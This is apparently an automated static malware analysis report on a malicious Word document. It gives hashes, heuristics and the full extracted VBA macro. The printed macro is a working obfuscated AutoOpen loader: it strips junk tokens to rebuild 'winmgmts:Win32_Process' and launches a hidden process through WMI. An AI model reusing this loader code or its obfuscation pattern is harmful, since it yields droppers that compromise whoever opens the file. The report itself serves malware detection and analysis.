Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 640361e605893e01…

MALICIOUS

Office (OOXML)

82.4 KB Created: 2019-11-06 00:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-04-06
MD5: d8acd55b5f84bc7c20021b366544ba60 SHA-1: 6a0708fb5b1a0a369182266295030cda092ce627 SHA-256: 640361e605893e0105bca8611829b43ca45921d410ac683b65789c1fd6301b42
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The OOXML document contains a highly obfuscated VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. The macro utilizes CreateObject to launch a process, evidenced by the heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER'. The reconstructed string 'usadwusadinusadmgmts:Wusadinusad32_Pusadroceusadssusad' suggests an attempt to execute a command or load a component, likely a second-stage payload. The presence of VBA macros and the execution method point towards a downloader or dropper malware.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3967 bytes
SHA-256: cc1932ccc6faecb73c3658073c593647488367df5d68400b9825eb6773faff33
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sudlzkabgj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Jhojirybp, 0, 0, INKEDLib, InkEdit"
Attribute VB_Control = "Lnjlxmwsn, 1, 1, INKEDLib, InkEdit"
Attribute VB_Control = "Uywmsetzvjgk, 2, 2, INKEDLib, InkEdit"
Attribute VB_Control = "Rkgmziswwvzjc, 3, 3, INKEDLib, InkEdit"
Attribute VB_Control = "Vbjtyhjgr, 4, 4, INKEDLib, InkEdit"

Attribute VB_Name = "Nuwpwblq"
Function Tjrqxukoffxg()
On Error Resume Next
   Dim SXfRBDAI
Dim kLiYGeE
   Dim EpAgG()
ReDim EpAgG(2)
EpAgG(0) = 281
EpAgG(1) = 1
Dim nnduhUEH
Dim Ducbybcto()
   Dim OhMot, XcNmICeH, WrjwJZGJD
Dim bbSXHEcCG()
ReDim bbSXHEcCG(1)
bbSXHEcCG(0) = 75
ReDim Ducbybcto(123)
   Dim fKKam()
ReDim fKKam(3)
fKKam(0) = 501
fKKam(1) = 5741
fKKam(2) = 89
Dim wBPpVMDG, wGcwJ, ULpQxAH
   Dim eFiNx
Dim TzvynDETJ()
ReDim TzvynDETJ(1)
TzvynDETJ(0) = 4
Ducbybcto(1) = Sudlzkabgj.Lnjlxmwsn
   Dim MhuqF
Dim FuVZYDHGw()
ReDim FuVZYDHGw(2)
FuVZYDHGw(0) = 21281
FuVZYDHGw(1) = 2
   Dim SSYdPM, RynWH
Dim edOiGsXEG, jJYhIQnbJ, yspqCC
Set Xkqhyzsgmo = CreateObject(Xxvgmine(Ckqazwhcmgj + Ducbybcto(1)))
Xkqhyzsgmo.ShowWindow = 6 < 3
   Dim YhZWCJoaJ
Dim zDGxsFg()
ReDim zDGxsFg(1)
zDGxsFg(0) = 6
   Dim kahZIuD()
ReDim kahZIuD(2)
kahZIuD(0) = 61
kahZIuD(1) = 506
Dim hpZSyA
Ducbybcto(0) = Xxvgmine(Sudlzkabgj.Rkgmziswwvzjc + Sudlzkabgj.Vbjtyhjgr)
   Dim CbEIBJF
Dim evGWWDIJA
Pkyisgde = Xxvgmine("usadwusadinusadmgmts:Wusadinusad32_Pusadroceusadssusad")
   Dim SthlEBF()
ReDim SthlEBF(1)
SthlEBF(0) = 24
Dim pMbfCC, FgyVIDDyD, EhdXbfI
Set Tosphyklfrwi = CreateObject(Pkyisgde)
   Dim oArpBJZI()
ReDim oArpBJZI(2)
oArpBJZI(0) = 521
oArpBJZI(1) = 1
Dim AhfgvIB, hsxLmCkCh, GcGyJa
   Dim kcLvd()
ReDim kcLvd(3)
kcLvd(0) = 41
kcLvd(1) = 81
kcLvd(2) = 8
Dim HmnaC()
ReDim HmnaC(2)
HmnaC(0) = 4641
HmnaC(1) = 2347
Wokflpvpijjcs = Tosphyklfrwi.Create(Zdznrmtbz + Ducbybcto(0), Kygrmopsu, Xkqhyzsgmo, Vyyxdhipsrd)
   Dim pquoiH, LZUwIDiE
Dim CYoRGEDj()
ReDim CYoRGEDj(3)
CYoRGEDj(0) = 2631
CYoRGEDj(1) = 72121
CYoRGEDj(2) = 3849
   Dim CBjJNCB()
ReDim CBjJNCB(3)
CBjJNCB(0) = 61
CBjJNCB(1) = 57321
CBjJNCB(2) = 37
Dim YeUUEFm, SNIqDxHB, opzCrOy
End Function



Attribute VB_Name = "Ywqehryyjw"
Sub autoopen()
On Error Resume Next
   Dim hydlGxDZa, nziVPGoB, ochvi
Dim VZPBZTDHm()
ReDim VZPBZTDHm(1)
VZPBZTDHm(0) = 1
   Dim PGuiqBGj()
ReDim PGuiqBGj(3)
PGuiqBGj(0) = 11141
PGuiqBGj(1) = 63251
PGuiqBGj(2) = 8
Dim FHnoBD, nIxnCDE, YhXBAMAmG
Tjrqxukoffxg
   Dim egNraCwsI, EsRzO
Dim qtMhoJAI()
ReDim qtMhoJAI(2)
qtMhoJAI(0) = 16921
qtMhoJAI(1) = 6
   Dim eAmECE()
ReDim eAmECE(1)
eAmECE(0) = 523
Dim uWTqrb
End Sub
Function Psrpjfprqqm(Mhukeizidxo)
On Error Resume Next
   Dim bEjmA()
ReDim bEjmA(3)
bEjmA(0) = 131
bEjmA(1) = 73561
bEjmA(2) = 9
Dim BtODMtqi()
ReDim BtODMtqi(3)
BtODMtqi(0) = 41
BtODMtqi(1) = 161
BtODMtqi(2) = 119
   Dim USsvTEC, kUrOAAD, LhTZJH
Dim LLMuCIp
Piyikztwaxv = "usad"
   Dim OAUzGAJAC()
ReDim OAUzGAJAC(1)
OAUzGAJAC(0) = 27
Dim bGGUC()
ReDim bGGUC(2)
bGGUC(0) = 11
bGGUC(1) = 1
Ywxdltvxemmg = Mhukeizidxo
   Dim PATAjH()
ReDim PATAjH(3)
PATAjH(0) = 53971
PATAjH(1) = 71
PATAjH(2) = 5
Dim WnwTzI, DNrOCDZJD
Psrpjfprqqm = Replace(Ywxdltvxemmg, Piyikztwaxv, "")
   Dim zlLOkKx()
ReDim zlLOkKx(1)
zlLOkKx(0) = 2578
Dim mvkvJG, qaCEBcJ
   Dim gMulJI, EWkQqHJ
Dim vIccGOAEm()
ReDim vIccGOAEm(1)
vIccGOAEm(0) = 3
End Function
Function Xxvgmine(Vdavfqfomruxv)
   Dim TvjntGHA, RbEBWGIe, PgkfF
Dim gLHPFCjQw, QXyaIECoD
Xxvgmine = Psrpjfprqqm(Psrpjfprqqm(Psrpjfprqqm(Psrpjfprqqm(Vdavfqfomruxv))))
   Dim YhYQs, tUhaVPJ
Dim wYMravJJC, mkckEHCAW, VpMRiM
End Function

Attribute VB_Name = "Emyyfgrmwg"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 38400 bytes
SHA-256: ce128318b449637f8fb0dd19e481f701962853443ae64b4c25bef0e7523c64df